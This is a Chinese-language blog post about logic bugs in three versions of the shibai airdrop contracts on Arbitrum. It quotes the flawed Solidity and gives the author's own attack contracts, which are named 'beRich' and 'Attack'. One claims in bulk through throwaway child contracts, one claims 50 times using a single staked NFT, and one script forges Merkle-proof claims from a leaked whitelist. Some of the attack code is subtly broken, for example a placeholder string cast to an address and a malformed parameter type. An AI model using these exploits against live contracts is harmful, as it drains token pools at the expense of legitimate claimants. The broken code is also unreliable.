# [半场闹剧]shibai空投合约中的bug总结 **Published by:** [Jackson](https://paragraph.com/@jackson-11/) **Published on:** 2023-04-24 **URL:** https://paragraph.com/@jackson-11/shibai-bug ## Content 随着一部分人的暴富,一部分人的愤怒,shibai第一阶段空投暂时告一段落。 作为一名区块链开发者,一直没有撸过空投搞过漏洞,这是从业几年中第一次喝到汤,遂记录下这几天的研究。0x01 ARB空投地址的疯狂这本来是无成本撸空池子的版本,但在空投前的一个小时,不知道是团队没有全部完成项目还是确实发现了漏洞,最终取消了空投 合约地址: 0x911355f8fcb1b25b9d63f2520e5676c94008f82a https://arbiscan.io/address/0x911355f8fcb1b25b9d63f2520e5676c94008f82a#code 在这个合约中,claimTokensForARB函数内部并没有对领取空投的地址进行检查,任何一个地址都可以以“ARB空投地址的条件”领取空投function claimTokensForARB() public claimIsLive { require(ARBclaimCount <= maxAddressForARBclaim, "sorry, claim has ended"); require(!hasClaimedTokens[msg.sender], "You have claimed your tokens"); hasClaimedTokens[msg.sender] = true; ARBclaimCount += 1; totalTokensClaimed += claimPerArbWallet; require(testShibToken.transfer(msg.sender, claimPerArbWallet), "Transfer failed"); emit HasClaimedTokens(msg.sender, claimPerArbWallet); } 此时你可能会想到创建多个小号去领取空投,可那样的话等领完归集完币价就被砸去90%了,我们可以通过合约创建合约的方式,在一笔交易内领取N人份的空投。 我在测试网上部署了测试合约,成功实现了批量领取,领取完成后归集到一个地址。攻击合约代码pragma solidity ^0.8.0; interface IERC20 { function transfer(address to, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface shibDis2 { function claimTokensForARB() external; } // 空投领取合约 contract Runner { function cliam(address airdrop, address _shibai, address receiver) public { shibDis2 shibDis2Contract = shibDis2(airdrop); // 通过ARB空投的方式领取合约 shibDis2Contract.claimTokensForARB(); IERC20 shibai = IERC20(_shibai); // 查询领取到的余额 uint256 balance = shibai.balanceOf(address(this)); if (balance > 0) { // 归集余额 shibai.transfer(receiver, balance); } // 销毁合约 selfdestruct(payable(address(receiver))); } } contract Run { address immutable receiver = address("归集地址"); // 批量领取 function beRich(uint256 count, address air, address shibai) public { Runner runner; for (uint256 i=0; i < count; i++) { runner = new Runner(); runner.cliam(air, shibai, receiver); } } } 当时把批量领取的函数命名为“beRich”,很遗憾,最终没有rich。 如果不考虑滑点,还可以在Run合约内部调用神剑的swap接口,领取完成后立刻卖掉。0x02 质押NFT在2.0版本中,项目放尝试抵押NFT让大家领空投,这样不会让NFT崩盘,似乎是个不错的方法,但真是这样吗? 合约地址: 0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4 https://arbiscan.io/address/0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4#code 在这个合约中,用户需要先调用depositNFT方法将NFT存入空投合约,然后调用claimTokenForNFT方法领取空投。 在depositNFT方法中,代码限制了同一个tokenID只能被存入一次,但最大的错误在下面isStaking[msg.sender] = true,也就是说,只要用户存入了一个NFT,就会把用户标记为已抵押状态。function depositNFT(uint256[] memory _tokenIds) public { uint256 depositTimestamp = block.timestamp; uint256 noOfNfts = _tokenIds.length; require(noOfNfts > 0, "balance of nfts must be greater than zero"); for(uint256 i = 0; i < noOfNfts; i++) { uint256 tokenId = _tokenIds[i]; require(nftContract.ownerOf(tokenId) == msg.sender, "You must own the nft"); require(deposits[msg.sender][tokenId] == 0, "You have already deposited"); nftContract.safeTransferFrom(msg.sender, address(this), tokenId); deposits[msg.sender][tokenId] = depositTimestamp; } isStaking[msg.sender] = true; emit HasStakedNFT(msg.sender, noOfNfts, depositTimestamp); } 在cliamTokenForNFT方法中,检查了用户是否抵押,但并没有对_tokenIds参数进行检查,也就是说,我们可以传入长度大于10的数组,这样就可以领取到3.0最大倍数的空投奖励(ps:直到最后一个版本,项目方才把>10改成>=10,在之前,持有10个NFT的用户只能领取到0个空投)。function claimTokenForNFT(uint256[] memory _tokenIds) public claimIsLive { require(isStaking[msg.sender] == true, "You must stake your nft(s) before claiming"); uint256 noOfNfts = _tokenIds.length; require(noOfNfts > 0, "balance of nfts must be greater than zero"); uint256 amountOfTokensToClaim; if(noOfNfts<= 2) { amountOfTokensToClaim = (25 * claimPerNFT) / 100; } else if( noOfNfts > 2 && noOfNfts <= 4){ amountOfTokensToClaim = (125 * claimPerNFT) / 100; } else if(noOfNfts > 4 && noOfNfts <= 9) { amountOfTokensToClaim = (250 * claimPerNFT) / 100; } else if(noOfNfts > 10) { amountOfTokensToClaim = (300 * claimPerNFT) / 100; } totalTokensClaimed += amountOfTokensToClaim; require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed"); emit HasClaimedTokens(msg.sender, amountOfTokensToClaim); } 就领取一次?不,你可以领取无限次,在claimTokenForNFT方法中,同样没有对已领取的地址进行标记,导致用户可以无限次领取空投。 我们又部署了一个合约,只抵押了一个tokenID为11的NFT,就领取了50次空投。攻击合约代码pragma solidity ^0.8.0; interface IERC20 { function approve(address spender, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function balanceOf(address account) external view returns (uint256); } interface IERC721 { function approve(address to, uint256 tokenId) external; function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } interface ShibDis { function depositNFT(uint256[] memory _tokenIds) external; function claimTokenForNFT(uint256[] memory _tokenIds) external; } contract Attack { // 接受空投地址 address public dest = address(0x3924105EB1Da270909De27F6f10bCa85B0cbf7f2); // shibai NFT地址 IERC721 public NFT = IERC721(address(0xD99984e1D6AcB5471681ba4E070F19a9c29B7844)); // 空投合约地址 ShibDis public dis = ShibDis(address(0xF91117496A349a565fadc4eA8A6c6305b9A5b3A4)); // shibai token地址 IERC20 shibai = IERC20(address(0xFA296FcA3c7DBa4a92A42Ec0B5E2138DA3b29050)); uint256[] depositNFTs; // 领取11份NFT的奖励 uint256[] giftNFTs = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11]; function doClaim(uint256 count, dis nftIndex) public { if (shibai.balanceOf(address(ShibDis)) == 0) { return; } // 授权空投合约操作该合约的NFT NFT.approve(address(dis), nftIndex); depositNFTs.push(nftIndex); // 抵押NFT dis.depositNFT(depositNFTs); // 领取空投奖励N次 for (uint256 i=0; i < count; i ++) { dis.claimTokenForNFT(giftNFTs); } // 将领取到的空投转到dest地址 shibai.transfer(dest, shibai.balanceOf(address(this))); } } 这个版本最终也没有上线,可能项目方又发现了bug,或者前端实现比较困难0x03 非常学术派,merkel证明,但百密一疏合约地址: 0x3D3CcedDB8F450CE107822C5F98F5E83200EB308 https://arbiscan.io/address/0x3d3cceddb8f450ce107822c5f98f5e83200eb308#code 在这个合约中,项目方使用了和uniswap空投时一样的merkel证明领取空投,而不使用和AICODE技术一样的后台签名,技术含量不错,也可能是为了不部署后端服务? 这个版本的代码杜绝了重复领取或非白名单领取,但还是犯了和0x02中相同的错误,没有对_amout参数进行校验,导致只要在白名单中的用户无论持有几个NFT,都可以通过构建交易data的方式领取10份NFT的空投奖励。function claimTokensForNft(bytes32[] calldata proof, uint256 _amount) public claimIsLive { bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, merkleRootNFT, leaf), "Wallet not eligible to claim"); require(_amount > 0, "You do not own any tokens"); require(!hasClaimedNFT[msg.sender], "You have claimed your Tokens"); uint256 amountOfTokensToClaim; if(_amount<= 2) { amountOfTokensToClaim = tier1Claim; } else if( _amount > 2 && _amount <= 4){ amountOfTokensToClaim = tier2Claim; } else if(_amount > 4 && _amount <= 9) { amountOfTokensToClaim = tier3Claim; } else if(_amount >= 10) { amountOfTokensToClaim = tier4Claim; } totalTokensClaimed += amountOfTokensToClaim; hasClaimedNFT[msg.sender] = true; require(tokenContract.transfer(msg.sender, amountOfTokensToClaim), "Transfer failed"); emit HasClaimedNFT(msg.sender, amountOfTokensToClaim); } 即使不能批量,那我们可以抢跑,更早领取就能更早卖出。 在项目网站https://aishibaog.xyz中,有一个whitelist_Address.js文件,这个文件记录了快照的白名单。基于白名单地址,我们就可以构建出merkel根,再生成白名单地址的merkel proof,再自定义_amount参数构建16进制数据,发起领取空投交易。const { WHITELIST_ADDRESS } = require("./whitelist_Address") const keccak256 = require("keccak256") const { MerkleTree } = require("merkletreejs") const addressLeaves = WHITELIST_ADDRESS.map(x => keccak256(x)) const arbMerkleTree = new MerkleTree(addressLeaves, keccak256, { sortPairs : true }) function getProof(_userAddress) { const _leaf = keccak256(_userAddress); return arbMerkleTree.getHexProof(_leaf); }; 至于最终发布的时候网页上领不了空投,道听途说是没有做大小写判断,后面没有深入研究。0x04 写在后面有格局:不知道项目方是不是真的大学生,阴差阳错搞起来的,虽然技术差了点,但还是磕磕绊绊履行了空投承诺,似乎后面还会补上空投?祝大家好运! 没格局:在空投前,项目方往空投白名单里加了30个左右自己的地址,翻看交易记录后这些地址只有两三笔交易,更别说持有过NFT了。 还有一个,有地址在开盘时抢筹了11ETH的币,并在当晚冲进了抹茶,不确定是否想 ## Publication Information - [Jackson](https://paragraph.com/@jackson-11/): Publication homepage - [All Posts](https://paragraph.com/@jackson-11/): More posts from this publication - [RSS Feed](https://api.paragraph.com/blogs/rss/@jackson-11): Subscribe to updates